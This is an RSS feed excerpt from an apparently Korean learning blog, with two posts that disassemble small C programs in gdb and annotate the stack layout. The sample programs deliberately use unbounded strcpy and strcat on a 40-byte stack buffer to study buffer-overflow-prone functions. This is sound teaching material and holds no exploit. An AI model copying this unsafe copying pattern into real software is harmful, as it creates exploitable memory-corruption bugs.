			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19699872&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>ETC</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/552</guid>
			<comments>http://iyounges.org/552#entry552comment</comments>
			<pubDate>Fri, 19 Aug 2011 14:00:37 +0900</pubDate>
		</item>
		<item>
			<title>[GDB-Analysis] GDB 바이너리 디버깅 3</title>
			<link>http://iyounges.org/551</link>
			<description>&lt;br /&gt;
&lt;div&gt;이번에는 저번에 두개로 했던 것들과 strcat 함수를 곁들여 컴파일해 디버깅을 해보도록 하겠습니다.&lt;/div&gt;
&lt;div&gt;다음부터는 버퍼 오버플로우와 관련된 함수를 주제로 디버깅 연습을 해갈 생각입니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost tmp]$ cat t3.c&lt;/div&gt;
&lt;div&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
int main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%d &amp;nbsp;&quot;, argc);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[0]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, argv[3]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcat(argv[2], argv[3]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost tmp]$ ./t3 1 2 3 4&lt;/div&gt;
&lt;div&gt;5 &amp;nbsp;./t3 &amp;nbsp;1 &amp;nbsp;2 &amp;nbsp;3&lt;/div&gt;
&lt;div&gt;1 // Argv[1] == Buffer&lt;/div&gt;
&lt;div&gt;23 // Argv[2] + Argv[3]&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost tmp]$ gdb -q t3&lt;/div&gt;
&lt;div&gt;(gdb) disas main&lt;/div&gt;
&lt;div&gt;Dump of assembler code for function main:&lt;/div&gt;
&lt;div&gt;0x8048440 &amp;lt;main&amp;gt;: &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;0x8048441 &amp;lt;main+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp // 프롤로그&lt;/div&gt;
&lt;div&gt;0x8048443 &amp;lt;main+3&amp;gt;: &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x28,%esp // 변수 40바이트 선언&lt;/div&gt;
&lt;div&gt;0x8048446 &amp;lt;main+6&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0x8(%ebp),%eax // EAX 에 (EBP+8) 값 복사 - (EBP+8) == Argc&lt;/div&gt;
&lt;div&gt;0x8048449 &amp;lt;main+9&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; %eax // EAX 푸시&lt;/div&gt;
&lt;div&gt;0x804844a &amp;lt;main+10&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048560 // 0x8048560 푸시 - %d&lt;/div&gt;
&lt;div&gt;0x804844f &amp;lt;main+15&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf(&quot;%d &amp;nbsp;&quot;, argc);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x8048454 &amp;lt;main+20&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp // ESP + 8&lt;/div&gt;
&lt;div&gt;0x8048457 &amp;lt;main+23&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - (EBP+12) == Argv[0]&lt;/div&gt;
&lt;div&gt;0x804845a &amp;lt;main+26&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값 복사&lt;/div&gt;
&lt;div&gt;0x804845c &amp;lt;main+28&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx // EDX 푸시&lt;/div&gt;
&lt;div&gt;0x804845d &amp;lt;main+29&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048565 // 0x8048565 푸시 - %s&lt;/div&gt;
&lt;div&gt;0x8048462 &amp;lt;main+34&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf(&quot;%s &amp;nbsp;&quot;, argv[0]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x8048467 &amp;lt;main+39&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp // ESP + 8&lt;/div&gt;
&lt;div&gt;0x804846a &amp;lt;main+42&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x804846d &amp;lt;main+45&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x4,%eax // EAX + 4 - &amp;nbsp;Argv[0] + 4 == Argv[1]&lt;/div&gt;
&lt;div&gt;0x8048470 &amp;lt;main+48&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값 복사&lt;/div&gt;
&lt;div&gt;0x8048472 &amp;lt;main+50&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx // EDX 푸시&lt;/div&gt;
&lt;div&gt;0x8048473 &amp;lt;main+51&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048565 // 0x8048565 푸시&lt;/div&gt;
&lt;div&gt;0x8048478 &amp;lt;main+56&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf(&quot;%s &amp;nbsp;&quot;, argv[1]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x804847d &amp;lt;main+61&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;0x8048480 &amp;lt;main+64&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x8048483 &amp;lt;main+67&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%eax // Argv[0] + 8 == Argv[2]&lt;/div&gt;
&lt;div&gt;0x8048486 &amp;lt;main+70&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;0x8048488 &amp;lt;main+72&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;0x8048489 &amp;lt;main+73&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048565&lt;/div&gt;
&lt;div&gt;0x804848e &amp;lt;main+78&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf(&quot;%s &amp;nbsp;&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x8048493 &amp;lt;main+83&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;0x8048496 &amp;lt;main+86&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x8048499 &amp;lt;main+89&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0xc,%eax // Argv[0] + 12 == Argv[3]&lt;/div&gt;
&lt;div&gt;0x804849c &amp;lt;main+92&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;0x804849e &amp;lt;main+94&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;0x804849f &amp;lt;main+95&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x804856a&lt;/div&gt;
&lt;div&gt;0x80484a4 &amp;lt;main+100&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf(&quot;%s &amp;nbsp;&quot;, argv[3]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80484a9 &amp;lt;main+105&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%esp // ESP + 8&lt;/div&gt;
&lt;div&gt;0x80484ac &amp;lt;main+108&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x80484af &amp;lt;main+111&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x4,%eax // EAX + 4 == Argv[1]&lt;/div&gt;
&lt;div&gt;0x80484b2 &amp;lt;main+114&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값 복사&lt;/div&gt;
&lt;div&gt;0x80484b4 &amp;lt;main+116&amp;gt;: &amp;nbsp; push &amp;nbsp; %edx // EDX 푸시&lt;/div&gt;
&lt;div&gt;0x80484b5 &amp;lt;main+117&amp;gt;: &amp;nbsp; lea &amp;nbsp; &amp;nbsp;0xffffffd8(%ebp),%eax // EAX 에 (EBP-40) 주소 값 복사 - Buffer&lt;/div&gt;
&lt;div&gt;0x80484b8 &amp;lt;main+120&amp;gt;: &amp;nbsp; push &amp;nbsp; %eax // EAX 푸시&lt;/div&gt;
&lt;div&gt;0x80484b9 &amp;lt;main+121&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048374 &amp;lt;strcpy&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; EAX &amp;nbsp; , EDX&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80484be &amp;lt;main+126&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;0x80484c1 &amp;lt;main+129&amp;gt;: &amp;nbsp; lea &amp;nbsp; &amp;nbsp;0xffffffd8(%ebp),%eax // EAX 에 (EBP-40) 주소값 복사 - Buffer&lt;/div&gt;
&lt;div&gt;0x80484c4 &amp;lt;main+132&amp;gt;: &amp;nbsp; push &amp;nbsp; %eax // EAX 푸시&lt;/div&gt;
&lt;div&gt;0x80484c5 &amp;lt;main+133&amp;gt;: &amp;nbsp; push &amp;nbsp; $0x804856a // 0x804856a 푸시 - %s\n&lt;/div&gt;
&lt;div&gt;0x80484ca &amp;lt;main+138&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80484cf &amp;lt;main+143&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%esp // ESP + 8&lt;/div&gt;
&lt;div&gt;0x80484d2 &amp;lt;main+146&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x80484d5 &amp;lt;main+149&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0xc,%eax // EAX + 12 == Argv[3]&lt;/div&gt;
&lt;div&gt;0x80484d8 &amp;lt;main+152&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값 복사&lt;/div&gt;
&lt;div&gt;0x80484da &amp;lt;main+154&amp;gt;: &amp;nbsp; push &amp;nbsp; %edx // EDX(1) 푸시&lt;/div&gt;
&lt;div&gt;0x80484db &amp;lt;main+155&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x80484de &amp;lt;main+158&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%eax // EAX + 8 == Argv[2]&lt;/div&gt;
&lt;div&gt;0x80484e1 &amp;lt;main+161&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값 복사&lt;/div&gt;
&lt;div&gt;0x80484e3 &amp;lt;main+163&amp;gt;: &amp;nbsp; push &amp;nbsp; %edx // EDX(2) 푸시&lt;/div&gt;
&lt;div&gt;0x80484e4 &amp;lt;main+164&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048354 &amp;lt;strcat&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;strcat(argv[2], argv[3]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;EDX(2), EDX(1)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80484e9 &amp;lt;main+169&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;0x80484ec &amp;lt;main+172&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - Argv[0]&lt;/div&gt;
&lt;div&gt;0x80484ef &amp;lt;main+175&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%eax // EAX + 8 == Argv[2]&lt;/div&gt;
&lt;div&gt;0x80484f2 &amp;lt;main+178&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;0x80484f4 &amp;lt;main+180&amp;gt;: &amp;nbsp; push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;0x80484f5 &amp;lt;main+181&amp;gt;: &amp;nbsp; push &amp;nbsp; $0x804856a&lt;/div&gt;
&lt;div&gt;0x80484fa &amp;lt;main+186&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048364 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf(&quot;%s\n&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80484ff &amp;lt;main+191&amp;gt;: &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;0x8048502 &amp;lt;main+194&amp;gt;: &amp;nbsp; xor &amp;nbsp; &amp;nbsp;%eax,%eax // EAX 초기화&lt;/div&gt;
&lt;div&gt;0x8048504 &amp;lt;main+196&amp;gt;: &amp;nbsp; jmp &amp;nbsp; &amp;nbsp;0x8048506 &amp;lt;main+198&amp;gt;&lt;/div&gt;
&lt;div&gt;0x8048506 &amp;lt;main+198&amp;gt;: &amp;nbsp; leave&lt;/div&gt;
&lt;div&gt;0x8048507 &amp;lt;main+199&amp;gt;: &amp;nbsp; ret // 에필로그&lt;/div&gt;
&lt;div&gt;/* 생략 */&lt;/div&gt;
&lt;div&gt;End of assembler dump.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
메모리 구조를 확인해봅시다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
BUFFER (40Byte) | SFP (기준) | &amp;nbsp; &amp;nbsp;RET &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; Argc &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; Argv[0] - Argv[1] - Argv[2] - Argv[3] &amp;nbsp; &amp;nbsp; |&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;EBP-40 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; EBP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;EBP+4 &amp;nbsp; &amp;nbsp; EBP+8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; +12 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; +16 &amp;nbsp; &amp;nbsp; &amp;nbsp; +20 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; +24&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그래서 인자를 확인할떄는 먼저 Argv[0] 으로 (EBP+12) 이동 한 후 4 씩 늘려가지만&lt;/div&gt;
&lt;div&gt;Buffer 을 참조해야할때는 (EBP-40) 의 주소 값을 복사하는겁니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Strcat 함수를 디버깅 해보았는데 그다지 어렵지 않았고 매우 쉬웠습니다.&lt;/div&gt;
&lt;div&gt;다만 인자를 거꾸로 참조한다는것만 알아두면 될것같습니다. 그런데 인자를 거꾸로 넣는건 함수는&lt;/div&gt;
&lt;div&gt;원래 다그렇습니다. cdcel 방식 때문에 그렇다는데 자세한 설명은 다음기회로 미루겠습니다.&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-551-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-551-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-551-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19660225&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/551</guid>
			<comments>http://iyounges.org/551#entry551comment</comments>
			<pubDate>Thu, 18 Aug 2011 13:26:02 +0900</pubDate>
		</item>
		<item>
			<title>[GDB-Analysis] GDB 바이너리 디버깅 2</title>
			<link>http://iyounges.org/550</link>
			<description>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;이번에는 버퍼 오버플로우 취약점으로 자주 등장하는 strcpy 함수를 디버깅 해보겠습니다.&lt;/div&gt;
&lt;div&gt;너무 쉬워보일수도 있겠지만 모든것들이 패턴이 있습니다. 함수가 호출되기전에 어떻게 인자를&lt;/div&gt;
&lt;div&gt;참조하는지 이 작업은 무엇을 의미하는지, 저 또한 공부한지 별로 안됬지만 조금 알것같습니다.&lt;/div&gt;
&lt;div&gt;이런 밑거름들을 차근차근 해나가다가 나중에는 워게임 하나를 디버깅해 취약점을 찾아낸다는지..&lt;/div&gt;
&lt;div&gt;가능할겁니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost tmp]$ cat t2.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
int main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]); // argv[1] 을 buffer 에 복사합니다.&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer); // 복사된 buffer 을 출력합니다.&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost tmp]$ ./t2 buffer&lt;/div&gt;
&lt;div&gt;buffer&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
고로 인자로 전달해주는 값에 따라 출력되어지는 값도 달라질겁니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost tmp]$ gdb -q t2&lt;/div&gt;
&lt;div&gt;(gdb) disas main&lt;/div&gt;
&lt;div&gt;Dump of assembler code for function main:&lt;/div&gt;
&lt;div&gt;0x80483f8 &amp;lt;main&amp;gt;: &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;0x80483f9 &amp;lt;main+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp // 프롤로그&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80483fb &amp;lt;main+3&amp;gt;: &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x28,%esp // 변수 40바이트 선언&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
0x80483fe &amp;lt;main+6&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 의 값을 복사한다. - (EBP+12) == Argv[0]&lt;/div&gt;
&lt;div&gt;0x8048401 &amp;lt;main+9&amp;gt;: &amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp;$0x4,%eax // EAX+4 - Argv[0] + 4 == Argv[1]&lt;/div&gt;
&lt;div&gt;0x8048404 &amp;lt;main+12&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 의 값을 복사한다.&lt;/div&gt;
&lt;div&gt;0x8048406 &amp;lt;main+14&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx // EDX푸시&lt;/div&gt;
&lt;div&gt;0x8048407 &amp;lt;main+15&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0xffffffd8(%ebp),%eax // EAX 에 (EBP-40) 의 값을 복사한다.&lt;/div&gt;
&lt;div&gt;0x804840a &amp;lt;main+18&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %eax // EAX 푸시&lt;/div&gt;
&lt;div&gt;0x804840b &amp;lt;main+19&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048340 &amp;lt;strcpy&amp;gt;&lt;/div&gt;
&lt;div&gt;/*&lt;/div&gt;
&lt;div&gt;strcpy(buffer, argv[1]); 호출작업입니다.&lt;/div&gt;
&lt;div&gt;Argv[1] 을 푸시하기위해 EAX(Argv[0]) 에 +4 를 하고 EDX 에 옮긴 후 푸시했으며&lt;/div&gt;
&lt;div&gt;Buffer 를 인자로 가져오기 위해 (EBP-40) 주소 값(Buffer 의 주소값) 을 참조합니다.&lt;/div&gt;
&lt;div&gt;아마 EBP 는 현재 아무런 움직임을 가지지 않았으며 꼭대기에 그대로 있나봅니다.&lt;/div&gt;
&lt;div&gt;*/&lt;/div&gt;
